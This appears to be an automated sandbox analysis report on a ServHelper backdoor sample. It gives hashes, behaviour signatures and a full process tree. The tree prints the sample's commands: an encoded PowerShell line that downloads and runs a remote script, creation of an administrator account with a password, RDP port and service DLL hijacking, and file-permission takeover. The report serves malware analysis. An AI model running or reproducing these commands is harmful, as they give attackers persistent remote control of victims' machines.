Analysis

  • max time kernel
    126s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    26-10-2021 09:33

General

  • Target

    clr.exe

  • Size

    5.7MB

  • MD5

    63151e4f7c3972f18a23c0e9996e14ef

  • SHA1

    5d041fde6433a8ff8fc78a69fca1fd4630e3f270

  • SHA256

    cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

  • SHA512

    f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\clr.exe
    "C:\Users\Admin\AppData\Local\Temp\clr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7uevhi3g.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1572
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1EE7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1EE6.tmp"
          4⤵
            PID:1580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1796
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1164
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:892
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1300
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1404
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1328
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1716
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1828
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:928
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1960
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1644
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:108
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1748
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1420
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1980
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1740
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1624
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1548
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1744
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1292
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:996
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1380
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:2016
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1740
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1468
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1464
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1300
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc Yi8DJrJ7 /add
                                  1⤵
                                    PID:1760
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc Yi8DJrJ7 /add
                                      2⤵
                                        PID:1732
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc Yi8DJrJ7 /add
                                          3⤵
                                            PID:1716
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:940
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1932
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1888
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                              1⤵
                                                PID:2012
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                  2⤵
                                                    PID:952
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
                                                      3⤵
                                                        PID:1636
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1980
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:272
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1572
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc Yi8DJrJ7
                                                          1⤵
                                                            PID:892
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc Yi8DJrJ7
                                                              2⤵
                                                                PID:1736
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc Yi8DJrJ7
                                                                  3⤵
                                                                    PID:316
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1404
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:696
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:684
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1280
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:432
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1708
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1420

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/772-59-0x00000000410E7000-0x00000000410E8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/772-54-0x0000000041560000-0x000000004195F000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/772-58-0x00000000410E6000-0x00000000410E7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/772-57-0x00000000410E4000-0x00000000410E6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/772-56-0x00000000410E2000-0x00000000410E4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-108-0x0000000002784000-0x0000000002787000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/956-109-0x0000000002787000-0x0000000002788000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/956-107-0x000000000278C000-0x00000000027AB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/956-106-0x0000000002782000-0x0000000002784000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-105-0x0000000002780000-0x0000000002782000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/956-104-0x000000001B880000-0x000000001BB7F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/956-103-0x000007FEEAC40000-0x000007FEEB79D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1180-96-0x0000000002604000-0x0000000002607000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1180-95-0x0000000002602000-0x0000000002604000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1180-98-0x000000000260C000-0x000000000262B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1180-94-0x0000000002600000-0x0000000002602000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1180-97-0x0000000002607000-0x0000000002608000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1180-92-0x000007FEEAC40000-0x000007FEEB79D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1180-93-0x000000001B830000-0x000000001BB2F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1420-153-0x0000000000850000-0x0000000000852000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1420-155-0x0000000000854000-0x0000000000857000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1420-154-0x0000000000852000-0x0000000000854000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1420-156-0x000000000085B000-0x000000000087A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1420-152-0x000007FEEAC40000-0x000007FEEB79D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1560-61-0x000007FEFB781000-0x000007FEFB783000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1560-76-0x000000000284B000-0x000000000286A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1560-64-0x0000000002842000-0x0000000002844000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1560-62-0x000007FEEAC40000-0x000007FEEB79D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1560-65-0x0000000002844000-0x0000000002847000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1560-63-0x0000000002840000-0x0000000002842000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1560-78-0x000000000286D000-0x000000000286E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1572-77-0x00000000020A0000-0x00000000020A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1796-88-0x00000000026BC000-0x00000000026DB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1796-83-0x000000001B840000-0x000000001BB3F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1796-85-0x00000000026B2000-0x00000000026B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1796-87-0x00000000026B7000-0x00000000026B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1796-86-0x00000000026B4000-0x00000000026B7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1796-82-0x000007FEEAC40000-0x000007FEEB79D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1796-84-0x00000000026B0000-0x00000000026B2000-memory.dmp

                                                                        Filesize

                                                                        8KB